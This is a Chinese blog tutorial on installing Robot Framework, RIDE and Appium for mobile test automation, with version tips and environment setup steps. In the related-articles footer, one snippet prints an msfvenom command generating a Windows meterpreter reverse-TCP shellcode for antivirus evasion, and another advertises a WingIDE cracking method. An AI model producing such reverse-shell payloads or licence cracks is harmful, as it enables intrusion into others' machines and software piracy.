RF(一)RF的安装步骤

摘要:
7.安装Appium 8,安装最新版本的nodeJS:node-v6.9.49,在命令行上执行Appium命令,您应该能够启动Appium服务器~~~~

RF的安装

hi all~~  下面介绍一下RF环境安装,以及各种库的安装~

(环境变量配置,安装包下载地址这里我都没有详细去写,不会的同学们可以百度一下或者给我留言哦~后续如果询问的同学多的话,我再补充~)

一、RF环境安装

1、安装python(这里需要说一下,RF支持python2.7,所以不要安装python3哦)

2、配置python环境变量 右键计算机-属性-高级设置-系统变量-Path(比如:C:Python27;C:Python27Scripts;)- 这里的path要填写你python的安装目录

3、查看python环境 在cmd命令行中输入python,有相关显示说明配置成功

RF(一)RF的安装步骤第1张

4、安装wxPython(这里推荐wxPython2.8版本)

5、安装RF客户端

1)pip install robotframework

2)pip install robotframework-ride==1.5.1(这里不要将ride升级到最新,最新版会导致打不开ride工具,建议直接使用1.5.1版本)

6、启动ride:Cmd命令行直接输入ride.py即可启动。

(也可以将ride的图标配置到桌面,具体方法可以百度一下,这里就不详细描述啦~)

二、RF+Appium安装

1、安装java环境(我使用的是jdk-8u25)

2、配置Java环境变量(配置方式这里不细说了)

3、安装/开启 .NET 3.5 Framework

4、安装.NET Framework 4.5(PS,如果安装不了.NET4.5,可以选择安装.NET4.0)

5、安装Android SDK(下载后解压即可)(这里再补充一下,最好是下新版本的sdk,否则安卓8系统之后就没法使用uiautomator了 )

6、安装完SDK之后,使用adb连接测试手机,需要注意以下几点是否都有操作,最后在命令行执行adb devices,能找到设备才算成功。

7、安装Appium(推荐版本1.6.5)

8、安装nodeJS的最新版本:node-v6.9.4(PS,目前Appium1.6.4只支持64位的,32位的请改成64位机器或者暂用1.4.16安装版的Appium)

9、在命令行执行Appium命令,应该就可以启动Appium服务器了~~~~(PS,使用RF跑脚本的时候开启appium服务器就可以~平时不需要开)

RF(一)RF的安装步骤第2张

免责声明:文章转载自《RF(一)RF的安装步骤》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇SqlLite 简明教程office 2016 专业版 删除部分组件下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Python使用Turtle绘制分形树

2020/02/25 Python使用Turtle绘制分形树 效果如下: Code: 1 ''' 2 作者:清扬 3 功能:利用递归绘制分型树 4 版本:1.0 5 日期:2020/02/25 6 ''' 7 8 importturtle 9 10 defdraw_branch(branch_length): 11 ''' 12 绘制分型树...

利用Python进行Payload分离免杀

缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST=192.168.3.60 LPORT=3333 -f c    将payload给copy下来,去除引号。 x2fx4fx69x43x41x4...

Python基本数据统计(四)---- 其他问题

学习中遇到的其他问题: 1.填写以下内容,使得统计在2015年整年内(即1月1日至12月31日)微软股票涨价的每个月天数据。 list1 =[] tmpdf = quotesdf['15/01/01':'15/12/31'] for i inrange(0, len(tmpdf)): list1.append(int(tmpdf.index[i]...

Python开发利器WingIDE破解方法

“工欲善其事,必先利其器。”刚开始接触Python的人大都用自带的LDLE,尽管它对于初学该语言非常有帮助,但许多开发人员更喜欢其它文本编辑器或集成开发环境。(IDEs)在此我不想展开阐述,Python 社区维护了一份Python 相关编辑器的清单, 涵盖了各种各样支持平台和软件许可协议。但是所给出的编辑器个人认为都不是很理想,一直想找一个类似于php的Z...

Python列表(list)所有元素的同一操作

针对很普遍的每个元素的操作会遍历每个元素进行操作。 这里给出了几种写法,列表每个元素自增等数学操作同理; 示例:整形列表ilist加1个数、元素类型转字符串: 1 ilist = [1, 2, 3, 10, 11, 12] 2 3 4 #每个元素加5,四种方法 5 for i, v in enumerate(ilist): ilist[i] = v +...

python调用接口,python接收post请求接口(附完整代码)

  与Scala语言相比,Python有其独特的优势和广泛的应用,python调用接口,因此Spark也推出了PySpark,它在框架上提供了一个使用Python语言的接口,python接收post请求接口为数据科学家使用框架提供了方便。  众所周知,Spark框架主要由Scala语言实现,它还包含少量的Java代码。Spark面向用户的编程接口也是Sca...